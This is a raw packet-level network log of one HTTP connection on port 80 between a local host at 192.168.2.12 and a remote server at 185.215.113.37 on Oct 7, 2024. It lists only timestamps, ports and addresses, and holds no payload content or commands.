Oct 7, 2024 18:03:14.827574015 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827589035 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827641964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827675104 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827701092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827713013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.827750921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.827750921 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829339981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829354048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829365015 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829375982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829386950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829396963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829397917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829410076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829420090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829430103 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829432011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829442024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829448938 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829452991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829463005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829468012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829482079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829493999 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829497099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829505920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829516888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829524040 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829529047 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829540014 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829547882 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829551935 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829562902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829574108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829580069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829585075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829596996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829607964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829618931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829618931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829632044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829642057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829643011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829655886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829662085 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829673052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829679012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829706907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829890013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829900026 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829909086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829920053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829922915 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829931974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829942942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829947948 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829955101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829968929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829979897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829981089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.829992056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.829998016 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.830004930 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.830013037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.830017090 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.830029011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.830039978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.830041885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.830069065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.830086946 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951163054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951194048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951203108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951270103 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951297998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951325893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951338053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951349020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951360941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951370955 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951395988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951636076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951647043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951658964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951670885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951694965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951812983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951823950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951834917 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.951858997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.951873064 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952034950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952045918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952063084 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952073097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952080011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952084064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952090025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952096939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952107906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952111006 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952121019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952138901 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952158928 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952547073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952558994 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952569008 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952588081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952603102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952704906 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952862024 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952873945 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952884912 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952896118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952907085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952912092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952918053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952929974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952939034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952940941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952953100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.952954054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952970028 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.952999115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953310966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953322887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953332901 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953344107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953355074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953360081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953380108 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953396082 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953644037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953655958 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953666925 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953671932 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953682899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953691959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953707933 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953708887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953720093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953737020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953737974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953748941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953749895 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953762054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953772068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953773975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953783989 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953794956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953799009 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953807116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953819990 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.953828096 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953849077 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.953864098 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954480886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954492092 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954540014 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954617977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954627991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954637051 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954646111 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954653025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954662085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954668045 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954674959 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954684973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954690933 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954694986 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954709053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954719067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954719067 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954729080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954741001 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954750061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.954792976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954792976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.954792976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.955284119 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.955295086 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.955305099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.955315113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.955315113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.955315113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.955327034 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:14.955343962 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:14.955368996 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.075726032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075754881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075764894 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075845957 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075858116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075869083 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.075876951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.075926065 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076019049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076069117 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076191902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076196909 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076203108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076215982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076226950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076261997 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076354980 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076415062 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076426029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076436996 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076447964 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076448917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076458931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076464891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076491117 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076823950 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076836109 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076848030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076858044 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076860905 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076879025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.076886892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.076910019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.077148914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077159882 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077172041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077181101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077195883 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.077227116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.077358007 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077368975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077379942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077390909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.077416897 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.077430964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.077572107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078624010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078635931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078646898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078663111 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078668118 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078686953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078712940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078752041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078763962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078785896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078799963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078850031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078960896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078977108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078988075 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.078998089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.078999043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079011917 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079031944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079175949 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079209089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079277992 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079288960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079299927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079308987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079318047 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079344034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079612017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079622984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079633951 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079643011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079653025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079655886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079664946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079684019 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079699039 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079931974 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079943895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079955101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079966068 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.079966068 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.079982042 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080001116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080163002 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080174923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080204964 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080279112 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080291033 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080301046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080310106 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080313921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080324888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080336094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080336094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080351114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080360889 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080362082 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.080379963 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.080396891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.081012011 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081022978 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081032991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081043005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081054926 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081064939 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081077099 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081085920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.081090927 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.081125021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.171493053 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.171509981 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.171638966 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219137907 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219176054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219188929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219295979 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219306946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219311953 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219317913 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219330072 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219356060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219381094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219381094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219583988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219594955 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219605923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219630957 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219652891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219815016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219826937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219837904 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219863892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219875097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219887018 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219887972 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:15.219897032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:15.219908953 CEST	80	49711	185.215.113.37	192.168.2.12
